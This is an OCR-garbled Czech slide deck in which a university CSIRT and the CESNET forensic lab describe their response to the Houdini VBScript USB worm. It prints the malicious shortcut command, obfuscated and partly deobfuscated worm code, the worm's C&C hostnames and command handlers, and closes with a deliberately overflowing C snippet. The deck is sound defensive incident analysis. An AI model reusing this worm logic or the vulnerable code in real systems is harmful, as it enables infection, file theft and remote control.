o Obsahuje soubor ,Microsoft Excel WsF*

e Hledani informaci

e http://www.en.usbfix.net/2014/03/remove-shortcut-
virus-usb/

o Malware: Dinihou — Houdini Worm.VBScript
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LC;? Reakce CSIRT

laborator

e Postup pro infikované flashdisky

o ,,Obnova” uzivatelskych dat
e Zruseni atributu ,,skryty soubor®
attrib -h -r -s /s /d *.*
e Smazani zastupcu
e Smazani souboru , Microsoft Excel WsF“

o Napadené stanice

e Zaznam v registrech wscript.exe //B "C:\Users\..

o Nezndma ¢innost \Microsoft Office\
i Microsoft Excel.WsFE"
malware = reinstalace
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L% Reakce CSIRT

laborator

e Preventivni opatreni

o Problematicka

e Stanice ve sprave IT oddéleni
e Pouzivany antivirovy program nezachyti
o Zavedeno blokovani soubort * . WsF

e Ostatni stanice

o Ve spravé ,uzivatel(”

e Studenti

e Velka migrace USB zarizeni

2019-04-24, KAE/FZEI, ZCU v Plzni
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laborator

Qe Stale kvokd, stale kvoks, ...

e Vyskyt dalSich pripadu
o Uzivatelé stanice mimo spravu IT oddéleni
o Studenti a jejich flashdisky
o Opakované nakazy

e Potreba hlubsi analyzy

o Nedostatek vlastnich kapacit
« Hlavné nedostatek casu

o Zadani analyzy externimu subjektu
o CESNET FLAB

2019-04-24, KAE/FZEI, ZCU v Plzni
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S? Zadani pro FLAB

laborator

e Zadani

o Malware na flashdisku pro kazdy soubor vytvori zastupce
a puvodni soubor schova, takze wuzivatel spousti
(dvouklikem) zastupce, ktery kromeé vlastniho souboru
spusti jesté VBScript, ktery zajistuje Sifreni malware a asi i

dalsi aktivitu.
o Otazky k zodpoveézeni
1) Jakou funkcionalitou malware disponuje?
2) Lze pritomnost malware poznat podle sitového chovani?

3) Jak nastavit pravidla pro antivirovy systém, aby blokoval
tento malware?
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laborator

L% Zadani pro FLAB

e Podklady pro analyzu
o Predany elektronicky dva soubory
e Pripona ,.norun”
e Zamezeni neumyslnému spusteni
e Microsoft Excel.WsF.norun

o Malware nalezeny na napadeném flashdisku
o Evidencni Cislo 001

o IMG_2402 .1lnk.norun

o Jeden ze zastupcu vytvoreny malwarem na napadeném
flashdisku

e Evidencni Cislo 002

2019-04-24, KAE/FZEI, ZCU v Plzni
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laborator

S? Zadani pro FLAB

e Vynatek ze zadani

Podklady predany zakaznikem.

Elektronicky podklad (Data) Evidencni ¢islo 001

Jméno souboru Microsoft Excel. WsF.norun a
Hashe souboru MD5: 5ac3bb5b66acS 3 |72c0d91efce0 b

SHA-1: 55d841b141£a01751d09¢ 27 1b1bfcdf27ec4

Cas zajisténi _(1’1p11é stejny malware fesen 1 v iijnu 20[)) C
Popis VBScript, ktery je Sifen a spoustén malwarem vytvorenym zastupcem. d
Zpusob ziskani Zkopirovani z nakazeného flashdisku e
Zpusob piedani Pied4no pies AFS@ZCU. f
Poznamky Souboru byla piidana piipona ,norun‘ k zamezeni neumyslnému spusténi. g

2019-04-24, KAE/FZEI, ZCU v Plzni
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S? Analyza zastupce (ev. ¢. 002)

laborator

e Polozka ,cil” zastupce:

C:\WINDOWS\system32\cmd.exe /c
cls&clsé&clsé&cls&cls&clsé&cls&cls&eclsé&cls&cls&start

IMG_2402.JPG&cls&cls&cls&cls&cls&cls&cls&cls&cls&
cls&cls&start Microsoft" "Excel .WsF&clsé&clsé&clsé
cls&cls&cls&clsé&clsé&cls&clsé&clséexit

e Po odstranéni cls (clear screen):

start IMG 2402.JPG //ptvodni soubor
start Microsoft" "Excel.WsF //malware

exit //zavreni okna

o Zajistuje spusténi malware — kazdé otevreni souboru
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L% Analyza zastupce (ev. ¢. 002)

laborator

Cisty flashdisk Napadeny flashdisk

Zastupce

Microsoft" "Excel.WsF Malware

e Vyuziti vychoziho nastaveni

o , Nezobrazovat skryté soubory” = ano, zatajit existenci
o ,,Skryvani pripon znamych typu“ = ano, zatajit informaci
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Jak to vidi uzivatel

I.‘- Forenzni
laboratof
=0 R
| ' ] | I - ||3'-'-".'.'—'.'.'
AW, » Houdiny |+¢ chledat: Houdi j o)
Usporadat - Zahrnout do knihovny - Sdilets = Mova slozka B i ﬂ
i Mazev poloZky Datum zmény Typ Velikost
1M Pofitad
— o [# | dokument 3.5.2 42 £ e B
ey Mistni disk (C:)
¥ Jednotka CD-ROI
5 tmp (Vwboxsnd ()
€ sit o[- ]
@\ [ v Pocitat » MULTBOOT (F) » houdiny v [ 44 |[ Pron o
Usporadat « Sdilets = Mova slozka = - 1 &
i Mazev polozky Daturn zmény Typ Velikost
1M Poéitac o
dokurnent.docx 21.3.2013 12:45 Dokument Office 2

&L, Mistni disk (C:)

% Jednotka CD-ROI
e tmp (wboxsnd) (2
= MULTIEOOT (F:)

m m

@ dekument 21.3.2013 12:45 Zastupce - 21
I ~ Ink neni zobrazeno

(vyjimka kvuli ikonam na plose)

> dir /B
dokument. lnk

2019-04-24, KAE/FZEI, ZCU v Plzni

> dir /A /B
dokument. lnk
dokument.docx

> dir /AH /B

dokument.docx
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Sa; Analyza malware (ev. ¢. 001)

laborator

e WsF = Windows Script File

o Kontejner
« Spusténi obsahu ve spravném interpretru
o Nativné

o Javascript
« Visual Basic
o Dalsi instalované
o Perl
« Python
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Ue==  Analyza malware (ev. C. 001)

laborator

e Obsah souboru — obfuskovany VB Script

<package>

<job id="manage-bde">

<script language="VBScript">

Dim nTWAAKagMncGOLEYPcXDTgcWJA] :nTWAAKagMncGOLEYPcXDTgcWJA]J="kyz
NMWZrwn¥YxTfZmaVif" :I1f nTWAAKagMncGOLEYPcXDTgcWJAJ="kyzNMWZrwnYxT
fZmavVif"Then:End If:Dim LzcAEAXYFzttkGGoBj:LzcAEAXYFzttkGGoBj="v
uWeIryKEArjJHfVnrNb":If

TE:LB="}} b2} A {22\ {7 = =1 b == 42 0 = b/
al

= /=702 =/720 012 0= N =y = =/~ 191
fUNCTioN FRANCE (VIANA) :Dim ZxyjgajpHRCEFtqg

GRECE=FRANCE (20+20+9) TO (LONDON (BOSNA) /FRANCE (10*5))

</script>

</job>

</package>
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S? -  Analyza malware (ev. ¢. 001)

laborator

e Deobfuskace — varianta ,hruba sila“

o Rozebrat Cinnost funkci a ziskat kod
e To opravdu neni dobry napad ...

e Deobfuskace —varianta , jemny intelekt”

o Sestaveni a spusténi kodu je realizovano funkci

ExeCuTeGloBal (ITALI (FRANCE (50-30+17),LB))

o Misto spusténi nechame vysledny kod jen zobrazit
:$s/ExecuteGlobal /WScript.echo/
o Ulozeni vysledku

cscript echo script.WsF > unpackedl.Wsf
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Ue==  Analyza malware (ev. C. 001)

laborator

e Vysledek po deobfuskaci — dalsi (jina) obfuskace

<package>

<job i1d="manage-bde">

<script language="VBScript">

COLOMBIA=VINSULA (USA ("=oVeqgCcWe\m/x{ } GEOXXeXy+FgeXZXmW*mSG#IWH { LbG
{LeGwmS0zzX0Ji/Vo}/SWEMWXOEG#QcZsCcWe\m/x{/NN\cVNzXVMgWGxFc/zK/X/Q
DOtX { fRXELNOELicWOzzX0J1i/VPL{WygWGR}RLu}/SWEFMWXOEG/FyW-MXNxFc/zK/X
/AWGRmM1LuLDYR-SvzMXS ! XEXo/Tvxi}/

+cHr (CByte ("&H" &M1d (PANAMA, 3,2) ) ) +tcHr (CByte ("&H" &M1d (PANAMA, 5, 2) ) ) :
PUREAU=PUREAU+Left (CANADA, KOUBA) :Next : UREGWAY=PUREAU:End Function:F
unction USA (HINDORAS) :Dim i1i:For i=1 To Len (HINDORAS) :USA=Mid (HINDOR
AS,1,1)&USA:next:End Function

</script>

</job>

</package>

e Stejny postup (nahrada GlobalExecute za Wscript.echo)
cscript echo unpackedl.WsF > unpacked2Z.Wst
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laborator

L% Analyza malware (ev. ¢. 001)

e Vysledek po druhé deobfuskaci — uz zase (!)

<package>
<job i1d="manage-bde">
<script language="VBScript">

TUNISIA="!{]*1#/=1#*{{ #\/ = [=11#/#/4>*=| 1 {-[{ #*{{{-[{![=]1#*=]!

VA VAR LANGEEE SIRE IVARE VE VEAREINE LELEE VE VAR VAR EVVARNEE VENRNEAE VENE

FOR ALGERIE=1 TO UboUnD (TUNISIA) :MAROCOO=MAROCOO+cHr (TUNISIA (ALGER
IE) / (25+25-32) ) :NEXT:ExecuteGlobal (MAROCOO)

</script>

</job>

</package>

e Stejny postup (nahrada GlobalExecute za
Wscript.echo)

cscript echo unpacked2Z.WsEF > unpacked3.Wsf
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Ue==  Analyza malware (ev. C. 001)

laborator

e Vysledek po treti deobfuskaci — konecné cCitelny kod

On eRrOr ReSuMe NeXt

dIm Az

sET Az WsCriPt.CreAtEoBjJECT ("wscript.shell")

dIm Aw

sET Aw CreAtEoBJEcCT ("scripting.filesystemobject")
dIm Av

sET Av CreAtEoBJECT ("msxml2.xmlhttp")

Ay = ArRaY ("maroco.linkpc.net:855",
"maroco.myg-see.com: 855", "maroco.redirectme.net:855")
Ax = Az .ExPaNdEnViRoNmEnTsTrInGs (" "y &"
Aw.CreateFolder Ax

Au = TRue
At True

Ar
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laborator

L% Analyza malware (ev. ¢. 001)

e Analyza kodu malware

o lIterativni Cinnost

e Seznam promeénnych s poznamkami

e Seznam funkci s poznamkami

o Odstranfiovani ,,eMoSTyLu z NaZViprOMeNnych”
e Skript

e Pomeérneé kratky — necelych 500 radek

= kompletni analyza funkcnosti

o Vyhledani odpovedi na otazky
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laborator

L% Analyza malware (ev. ¢. 001)

1) Jakou funkcionalitou malware disponuje?

e Persistence
o Spusteni pres zastupce na médiu
« Instalace na stanici
o Rozsireni na ,removable” média
o Po instalaci na stanici (registrovy klic)

o Prubézné rozsirovani na ,removable” média

e Komunikace s C&C fOr EACH Drive In Aw.Drives

If Drive.Drivetype = 1 then
. '* type 1 = Removable

o Siteni

o Pres ,removable” média — nutna soucinnost uzivatele
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laborator

S;a; Analyza malware (ev. ¢. 001)

e Zahajeni komunikace s C&C
e Vintervalu 5000ms (5s)

e Rozpoznavané pokyny z C&C serveru
o Aktualizace skriptu (tj. mozna zména funkcionality)
e Zmeéna intervalu komunikace s C&C
o Stahnout soubor z C&C a spustit jej
e Odeslat soubor ze systému na C&C
o Odinstalovani ze systému (tj. mazani stop po utoku)

o Spusténi lokalni prikazu jako parametr cmd.exe
(v analyzované verzi nefunkcni, vyvojova chyba)
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Ue==  Analyza malware (ev. C. 001)

laborator

e Ukazka casti kddu — schopnosti malware

SelLeCt case Ao (0)
case "excecute"

An = Ao (1)

Bd An '"* 2?77

"update" '* nahrazeni obsahu lokalniho skriptu parametrem

An = Ao (1)

Al.ClOse

sET Al = Aw.OpEnTeXtFile (Ax & Ar ,2, FalLsE)

Al . WriTe An

Al.Cl0Ose

Az .RuN "WScript.exe //B " & cHr((17+17)) & Ax & Ar & cHr ((17+17))

WScript.Qult

"uninstall"

Bi '* call Bi: uninstall

"send"

Bn Ao (1),Ao (2) '*call Bn (param2 filename, param3 path)

"site-send"

Bh Ao (1),Ao (2) '*call Bh (param2 getparam, param3 filename)

"recv"'

An = Ao (1)

Be (An) '*call Be (param2?): odeslani zadaneho souboru na CaC

"Sleep" '* nastaveni noveho intervalu cekani v cyklu

An = Ao (1)

Sleep = EVal (An)
eND SelLeCt
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L% Analyza malware (ev. ¢. 001)

laborator

2) Lze pritomnost malware poznat podle sitového
chovani?

e Ano, kazdych 5s komunikuje s C&C
e Port 855, C&C udano jako hostname
e maroco.linkpc.net:855
e Maroco.myg-see.com:855
e Mmaroco.redirectme.net:855
e Zjisténi IP adres v historii?
o Passive DNS
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L(I? -  Analyza malware (ev. ¢. 001)

laborator

3) Jak nastavit pravidla pro antivirovy systém, aby
blokoval tento malware?

e Konzultovano s WEBnet Incident Response Team
o FLAB nema prislusny SW

e Zabezpetleni koncovych stanic ZCU
o Dodavatel XxXxxx
o WSsF je v kategorii ,,Script” - nelze globalné zakazat

o Jedina moznost — rucni pravidlo ,blokovani * WsF“
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Dejstvi lll: Vyuziti informaci

2019-04-24, KAE/FZEI, ZCU v Plzni



LCCI? Nalezeni napadenych zarizeni

laborator

e Sitova komunikace
o Port 855, IP adresy odpovidajici danym hostname
o ldentifikace stanic, uzivatelu
o Vytézeni uzivatelu stanic
o Jaké flashdisky pouzivate?
o Kam jste své flashdisky pripojoval?

o Kdo pripojoval své flashdisky k Vasemu zarizeni?

e ldentifikace dalsich uzivatelu

« Mimo ZCU (napft. kopirovaci centrum)
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L% Reakce a prevence

laborator

e Pripraveny ,napravné” skripty
o Vychazi z deobfuskovaného kodu (reverzni postup)

e Uninstall.vbs — odstranéni malware ze systému

e Cclean.vbs —odstranéni nakazy z ,removable” médii

« Pro aktualné pripojené — mozno snadno vycistit
e Instrukce pro IT HelpDesk

e Pripravena webova stranka pro uzivatele

o Postup + skripty ke stazeni

o Uprava pravidel AV systému
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% Univerzitni siti to nekonci

laborator

GG glE houdiny odstranéni E

All Images Videos Shopping MNews More Search tools

About 1,660 results (0.70 seconds)

Showing results for houdini odstranéni
Search instead for houdiny odstranéni

Malware "Houdini" a jeho odstranéni — Support@

support zcu.cz/ /Malware_%22Houdini%22_a jeho . v Translate this page @
Oct 16, 2015 - Houdini je malware (virus) v podobé wsf (Visual Basic) skrptu s nazvem

Microsoft Excel WsF, ktery se &ifi pomoci flashdishkd a jinych .

Jak odstranit Trojan VBS Houdini F 20150402 - pcrisk.net®

www.pcrisk net/./Jak-odstranit-Trojan-VBS-Houdini-.. v Translate this page @
Apr 2, 2015 - This €lanku zahmuje krok za krokem privodce o tom, jak odstranit Trojan

VBS:Houdini F a souvisejici Trojan virus.Follow voditka k odstranéni ...
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L% Univerzitni siti to nekonci

laborator

Dobry den.

Mel bych na Vas velkou prosbu.
Nejsem vsak student vasi sSkoly.
Nasel jsem odkaz: http://support.zcu.cz/..

ManzZelka "pritahla" ze sSkoly tento trojan
a praskla to do notebooku a PC v praci.
Mohl bych Vas pozadat o zpristupnéni,

¢c1 odkaz na stazenl tohoto skriptu.

Moc dekuji.
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L Forenzni Ee§ n et

lahorator

cat << _EOF__>game.c

#define MSG "Zahraj si...\n\t... nauc se ...\n\t\t... pridej se!"
int a() {char s[8]; strcpy(s, MSG); return(0); }

int main(int argc, char **argv){a();exit(0);}

__EOF__

gcc game.c && ./a.out e

Segmentation fault O
B

https://flab.cesnet.cz/game
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% aboratr
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